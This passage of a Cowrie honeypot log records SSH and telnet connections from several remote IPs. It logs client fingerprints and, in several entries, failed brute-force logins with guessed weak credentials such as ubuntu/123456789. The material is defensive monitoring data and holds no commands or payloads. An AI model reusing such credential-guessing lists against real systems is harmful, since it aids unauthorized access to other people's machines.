af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:31.148544Z","src_ip":"103.129.221.202","session":"e43db7f8a4c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:31.324775Z","src_ip":"41.63.62.103","session":"acfa43199aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"pass","message":"login attempt [testuser/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:32.153054Z","src_ip":"103.129.221.202","session":"e43db7f8a4c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:33.397614Z","src_ip":"103.129.221.202","session":"e43db7f8a4c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.4834885597229,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:44.931482Z","src_ip":"185.53.58.141","session":"b98ef32c5606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0015287399292,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:51.365915Z","src_ip":"102.39.198.75","session":"9b9e099fc04e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":37526,"dst_ip":"10.17.0.5","dst_port":23,"session":"7921874f24fe","protocol":"telnet","message":"New connection: 185.53.58.141:37526 (10.17.0.5:23) [session: 7921874f24fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:51.537536Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.39.198.75","src_port":59675,"dst_ip":"159.203.135.109","dst_port":23,"session":"480ecc1876bd","protocol":"telnet","message":"New connection: 102.39.198.75:59675 (159.203.135.109:23) [session: 480ecc1876bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:51.911657Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.39.198.75","src_port":59707,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5cbe5ff8a2d","protocol":"telnet","message":"New connection: 102.39.198.75:59707 (159.203.135.109:23) [session: e5cbe5ff8a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:52.594121Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":46228,"dst_ip":"10.17.0.5","dst_port":22,"session":"2686bce6d2ab","protocol":"ssh","message":"New connection: 103.13.206.100:46228 (10.17.0.5:22) [session: 2686bce6d2ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:53.262738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:53.266606Z","src_ip":"103.13.206.100","session":"2686bce6d2ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:53.507816Z","src_ip":"103.13.206.100","session":"2686bce6d2ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu.2021","message":"login attempt [ubuntu/ubuntu.2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:54.504012Z","src_ip":"103.13.206.100","session":"2686bce6d2ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:56:55.748029Z","src_ip":"103.13.206.100","session":"2686bce6d2ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":38056,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f2958570beb","protocol":"telnet","message":"New connection: 185.53.58.141:38056 (10.17.0.5:23) [session: 1f2958570beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:57:05.381215Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":37936,"dst_ip":"10.17.0.5","dst_port":23,"session":"a449f8a34bbd","protocol":"telnet","message":"New connection: 185.53.58.141:37936 (10.17.0.5:23) [session: a449f8a34bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:57:05.404740Z"}
{"eventid":"cowrie.session.closed","duration":39.62968397140503,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:57:31.167126Z","src_ip":"185.53.58.141","session":"7921874f24fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":43106,"dst_ip":"10.17.0.5","dst_port":22,"session":"a271ccfcccd3","protocol":"ssh","message":"New connection: 41.63.62.103:43106 (10.17.0.5:22) [session: a271ccfcccd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:57:35.589580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:57:35.594596Z","src_ip":"41.63.62.103","session":"a271ccfcccd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:57:35.863043Z","src_ip":"41.63.62.103","session":"a271ccfcccd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.01074719429016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:57:36.415399Z","src_ip":"185.53.58.141","session":"a449f8a34bbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42352056503296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:57:36.804624Z","src_ip":"185.53.58.141","session":"1f2958570beb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"098765","message":"login attempt [ubuntu/098765] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:57:36.956287Z","src_ip":"41.63.62.103","session":"a271ccfcccd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:57:38.224684Z","src_ip":"41.63.62.103","session":"a271ccfcccd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":36270,"dst_ip":"10.17.0.5","dst_port":22,"session":"285371c7b6f6","protocol":"ssh","message":"New connection: 103.129.221.202:36270 (10.17.0.5:22) [session: 285371c7b6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:57:55.845570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:57:55.853328Z","src_ip":"103.129.221.202","session":"285371c7b6f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:57:56.096969Z","src_ip":"103.129.221.202","session":"285371c7b6f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdlkj12","message":"login attempt [ubuntu/asdlkj12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:57:57.104913Z","src_ip":"103.129.221.202","session":"285371c7b6f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:57:58.405046Z","src_ip":"103.129.221.202","session":"285371c7b6f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":40144,"dst_ip":"10.17.0.5","dst_port":23,"session":"053ab96d90d4","protocol":"telnet","message":"New connection: 185.53.58.141:40144 (10.17.0.5:23) [session: 053ab96d90d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:04.815704Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":34914,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cd4c6f63d8b","protocol":"ssh","message":"New connection: 103.13.206.100:34914 (10.17.0.5:22) [session: 6cd4c6f63d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:10.659494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:10.664453Z","src_ip":"103.13.206.100","session":"6cd4c6f63d8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:10.904554Z","src_ip":"103.13.206.100","session":"6cd4c6f63d8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:11.899561Z","src_ip":"103.13.206.100","session":"6cd4c6f63d8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:13.147870Z","src_ip":"103.13.206.100","session":"6cd4c6f63d8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":51686,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1e01d2c05ff","protocol":"ssh","message":"New connection: 152.32.171.213:51686 (10.17.0.5:22) [session: d1e01d2c05ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:13.628951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:13.635718Z","src_ip":"152.32.171.213","session":"d1e01d2c05ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:13.848685Z","src_ip":"152.32.171.213","session":"d1e01d2c05ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12341234","message":"login attempt [test/12341234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:14.736551Z","src_ip":"152.32.171.213","session":"d1e01d2c05ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:15.952695Z","src_ip":"152.32.171.213","session":"d1e01d2c05ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":47078,"dst_ip":"10.17.0.5","dst_port":22,"session":"389b5744e7e5","protocol":"ssh","message":"New connection: 41.63.62.103:47078 (10.17.0.5:22) [session: 389b5744e7e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:42.596721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:42.611428Z","src_ip":"41.63.62.103","session":"389b5744e7e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:42.871738Z","src_ip":"41.63.62.103","session":"389b5744e7e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q@123456","message":"login attempt [ubuntu/q@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:43.917102Z","src_ip":"41.63.62.103","session":"389b5744e7e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:45.183305Z","src_ip":"41.63.62.103","session":"389b5744e7e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.179320096969604,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:46.994860Z","src_ip":"185.53.58.141","session":"053ab96d90d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00153875350952,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:51.913048Z","src_ip":"102.39.198.75","session":"480ecc1876bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00150346755981,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:52.595492Z","src_ip":"102.39.198.75","session":"e5cbe5ff8a2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.39.198.75","src_port":37799,"dst_ip":"159.203.135.109","dst_port":23,"session":"da6dc49c1a4d","protocol":"telnet","message":"New connection: 102.39.198.75:37799 (159.203.135.109:23) [session: da6dc49c1a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:53.134266Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.39.198.75","src_port":37838,"dst_ip":"159.203.135.109","dst_port":23,"session":"af2bca20eb88","protocol":"telnet","message":"New connection: 102.39.198.75:37838 (159.203.135.109:23) [session: af2bca20eb88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:58:53.636093Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":53186,"dst_ip":"10.17.0.5","dst_port":22,"session":"faa11d4c60ff","protocol":"ssh","message":"New connection: 103.129.221.202:53186 (10.17.0.5:22) [session: faa11d4c60ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:59:24.970744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:59:24.976304Z","src_ip":"103.129.221.202","session":"faa11d4c60ff","protocol":"ssh"}
